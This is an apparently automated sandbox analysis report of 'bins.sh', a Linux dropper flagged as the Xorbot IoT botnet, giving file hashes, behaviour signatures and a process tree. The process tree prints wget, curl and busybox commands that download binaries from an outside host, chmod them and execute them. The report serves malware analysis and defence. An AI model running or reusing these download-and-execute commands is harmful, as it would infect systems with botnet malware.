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Analysis

  • max time kernel
    138s
  • max time network
    147s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    05/01/2025, 16:50

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e4f7c4a0fc9b3693b98dd8a72fd33c6c

  • SHA1

    02b5a992865ee73db4aa7f47d76847017ed9bef8

  • SHA256

    c063bdd7c8bb3a71082fd8295be7980b06d75b9fea1efbd02684a2a4dff87397

  • SHA512

    033e72887a61c5b6f214acdd88d420cabe9b673b8f239ac5093c17d861c313167840c19e65b07bdb6b69b9a25e1cc58d577e76d6dc4e4f3d2df38ec298ff473d

  • SSDEEP

    96:Yj/p8AKhThvhQDDcwLk/kTkvm+qLfrnf/fyJptLCalhvhDhm3v6qi3EIuMZ7XeU1:w1zr3yJptWTc8QbWGvSr3yJpX8QbWGd

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:707
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:814
        • /bin/chmod
          chmod 777 fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
          2⤵
          • File and Directory Permissions Modification
          PID:815
        • /tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
          ./fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
          2⤵
          • Executes dropped EXE
          PID:816
        • /bin/rm
          rm fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
          2⤵
            PID:818
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
            2⤵
            • System Network Configuration Discovery
            PID:819

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD

          Filesize

          99KB

          MD5

          9438d9bc392bcf300a5583b6df5bc8f6

          SHA1

          375a6ae34b516f6f3eeea8030c4084f585017efa

          SHA256

          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

          SHA512

          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860